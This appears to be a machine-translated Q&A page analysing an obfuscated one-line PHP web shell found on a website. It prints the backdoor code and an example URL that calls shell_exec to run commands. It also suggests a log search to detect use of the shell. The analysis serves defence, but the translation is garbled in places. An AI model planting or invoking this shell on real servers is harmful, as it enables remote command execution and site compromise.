2015-09-25 112 views

回答

9

這是一個PHP shell。如果將它重寫爲URL file.php?2 = shell_exec & 1 = whoami在shell上執行命令whoami。在你的例子中,一個參數通過POST傳遞,一個通過GET傳遞。所以這很難打電話。

你也可以用它調用其他函數。第一個參數始終是函數名稱,第二個參數是被調用函數的參數。

顯然這是解釋http://h.ackack.net/tiny-php-shell.htmlhttps://twitter.com/dragosr/status/116759108526415872),但該網站不爲我加載。

/編輯:如果您有權訪問服務器日誌文件,則可以搜索它們以查看黑客是否使用了此shell。一個簡單的egrep「(& | \?)2 =。+」logs *「應該可以工作。你只能看到一半執行的命令(只有GET,而不是POST),但也許這有助於看看攻擊者是否真的使用了他的腳本。

PS:這是在這裏

+0

「here」where?我想你忘了鏈接 –

+0

非常感謝。非常好的解釋。將在約3分鐘內投票。 –

3

面前回答我們把這個一點點:

($_[email protected]$_GET[page]).@$_($_POST[404]);首先,這是被串聯起來的時期兩個表達式:().()

在第一個表達式,$_=$_是可變的,並且被分配=到可變$_GET['page'],或者它引用的匿名函數的輸出。如果確實引用了匿名函數,則@將抑制它的任何錯誤。

第二個表達,@$_($_POST[404]);與匿名函數$_,你現在可以告訴是因爲它後面(被稱爲是一個匿名函數的錯誤抑制@出發。傳遞給該函數的參數是$_POST['404'],然後第二個括號關閉該調用。

所以我認爲你的懷疑是正確的;這看起來像打算看起來無害或部分網站的混淆代碼。我懷疑和$_POST[404]的值可能是javascript字符串,它們在頁面上的回顯會安裝惡意軟件或廣告軟件。

您可以通過查看這兩個變量的值並查看它們是什麼來調試。

盡我所知,不知道GET和POST中的值,它看起來像變量$_被分配給字符串,這將是任何人在他們加載頁面時提交的URL。因此,他們能夠將函數的任何函數的字符串名稱傳遞給該網站,並將其用於PHP的範圍。

然後,他們在$_POST['404']值上運行該任意函數。該值也是瀏覽器或用戶POST到頁面。

串聯和外括號().()可能只是更多的混淆,或者這個代碼的重點可能是簡單地在頁面上回顯此代碼的結果(例如注入javascript)。但是,他們也可以在他們傳遞的任何論點上調用他們想要的任何函數。我看不出,但有人更熟悉PHP可能可以。